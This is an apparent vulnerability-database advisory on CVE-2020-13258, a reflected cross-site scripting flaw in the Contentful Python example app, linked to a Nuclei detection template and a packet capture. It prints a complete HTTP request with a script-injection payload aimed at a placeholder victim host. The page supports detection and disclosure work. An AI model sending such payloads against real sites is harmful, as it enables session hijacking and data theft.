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CVE-2020-13258: Contentful <=2020-05-21 - Cross-Site Scripting

TitleContentful <=2020-05-21 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
CVSS Score6.1
EPSS Score0.02668
CVE IDCVE-2020-13258
CWE IDCWE-79
Tags cve cve2020 contentful xss vuln

🔍 Vulnerability Description

Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.

🌐 HTTP Request

GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13258.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-13258.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A